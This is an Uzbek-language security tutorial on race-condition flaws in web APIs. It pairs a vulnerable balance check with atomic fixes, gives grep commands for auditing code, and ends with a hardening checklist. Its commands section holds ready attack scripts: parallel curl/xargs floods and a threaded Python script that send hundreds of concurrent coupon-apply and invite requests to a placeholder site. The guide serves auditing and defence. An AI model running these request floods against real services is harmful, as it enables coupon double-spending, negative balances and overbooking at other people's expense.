⚡
Race Condition
Parallel so'rov bilan
1
Maqsad
parallel so'rovlar bilan nazoratni chetlab o'tishTekshiruv va o'zgartirish orasida boshqa so'rov kirsa — dastur noto'g'ri holatda qaror qabul qiladi. Masalan: sovg'a aylanmasi — bir vaqtda 100 ta so'rov, limit emas.
2
Tushuntirish
// XAVFLI — tekshiruv va yozish alohida if (user.balance >= price) {{ // 1) 100 ta so'rov: hammasi "ha" deydi await charge(user, price); // 2) keyin 100 marta yechadi user.balance -= price; // 3) balans -900 bo'ladi }} // TO'G'RI — atomik const r = await db.transaction(async tx => {{ const n = await tx.updateMany({{ where: {{ id, balance: {{ gte: price }} }}, // shart DB da data: {{ balance: {{ decrement: price }} }} }}); if (n.count === 0) throw new Error('balans yetarli emas'); await tx.order.create({{ data: {{ userId: id, price }} }}); }});
3
Qanday aniqlanadi
# 1) hisoblash / kamaytirish joylari grep -rnE "balance|credit|stock|quantity|discount|wallet|attempt" src/ | head # 2) transaction ishlatiladimi? grep -rnE "\$transaction|BEGIN|beginTransaction|atomic" src/ | head # 3) "get → check → update" ketma-ketligi grep -rnA4 -B1 "findUnique\|findById" src/ | grep -B1 -A4 "if (" | head -20
4
Buyruqlar
parallel yuk# 1) 100 ta parallel so'rov (curl + xargs) seq 1 100 | xargs -P 20 -I{{}} curl -s -o /dev/null -w "%{{http_code}}\n" \ -X POST https://site.uz/api/coupon/apply \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{{"code":"BESHGA10"}}' | sort | uniq -c # 100 xar "200" → check/act uzilishi bor # 2) bitta bonusni 2 marta olish curl -s -X POST https://site.uz/api/coupon/apply -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"code":"YANGI20"}' | jq -c . curl -s -X POST https://site.uz/api/coupon/apply -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"code":"YANGI20"}' | jq -c . # balansni darhol tekshiring # 3) limitni oshirish (try / bash) for I in $(seq 1 50); do curl -s -X POST https://site.uz/api/invite \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"email":"user'$I'@test.uz"}' & done | grep -c success wait # 4) Race script (python, aniqroq) python3 - <<'EOF' import concurrent.futures, requests T = "YOUR_TOKEN" def go(i): r = requests.post("https://site.uz/api/coupon/apply", headers={"Authorization": f"Bearer {T}"}, json={"code": "BESHGA10"}) return r.status_code, r.text[:40] with concurrent.futures.ThreadPoolExecutor(40) as ex: for s, t in ex.map(go, range(200)): if s == 200: print(" OK", t) EOF # 5) hisoblashdan keyin qoldiqni tekshirish curl -s https://site.uz/api/wallet -H "Authorization: Bearer $TOKEN" | jq '.balance' # manfiy bo'lsa — race ishladi # 6) boshqa joyda (bir xil usul) # - bir vaqtga 2 ta band qo'yish # - bir emailni 2 marta "band" qilish # - bitta kod bilan 2 marta qaytarish
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
Bir bonus 5 marta qo'llandi | **Race condition — ikki marta foydalanish** |
Balans manfiy bo'ldi | **Hisob buzildi** |
100 ta «band» band qildi | **Dublikat yaratildi** |
2 ta ticket bitta joy uchun | **Overbooking** |
Transaction blokida ekan (serial) | **Zaiflik yo'q** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
Faqat 1 marta qabul qilindi | **To'g'ri** |
Qolish manfiy emas | **Atomik decrement ishlayapti** |
`400 already used` qaytardi | **Yaxshi himoya** |
Indeks unique constraint bor | **To'g'ri** |
6
Zararni yopish
1. Atomik operatsiya (DB darajasida)
// shart va o'zgartirish BITTA so'rovda
const n = await prisma.wallet.updateMany({{
where: {{ userId, balance: {{ gte: 1000 }} }},
data: {{ balance: {{ decrement: 1000 }} }}
}});
if (n.count === 0) throw new Error('yetarli emas');
2. Transaction + qat'iy izolyatsiya
await prisma.$transaction(async tx => {{
const w = await tx.wallet.findUnique({{ where: {{ userId }} }});
if (w.balance < 1000) throw new Error('yetarli emas');
await tx.wallet.update({{ where: {{ userId }},
data: {{ balance: {{ decrement: 1000 }} }} }});
await tx.log.create({{ data: {{ type: 'spend', amount: 1000 }} }});
}}, {{ isolationLevel: 'Serializable' }});
3. Unique constraint (eng oddiy)
model CouponUse {{
id String @id
userId String
code String
used Boolean @default(false)
@@unique([userId, code]) // ← bitta odam bitta kod
}}
4. Qatlamli qat'iyat
SELECT ... FOR UPDATE(SQL) — qatorni bloklash- Redis
SETNX— qatlamli blok - Idempotency key — takrorlanuvchi so'rovlarni bir marta bajarish
7
Tekshirish ro'yxati
- Qoldiq kamaytirish atomik (`decrement` + shart)
- Kritik operatsiyalar transaction ichida
- `@@unique([userId, code])` mavjud
- Idempotency key ishlatiladi (to'lovlar uchun)
- Parallel 100 ta so'rov bilan test qilindi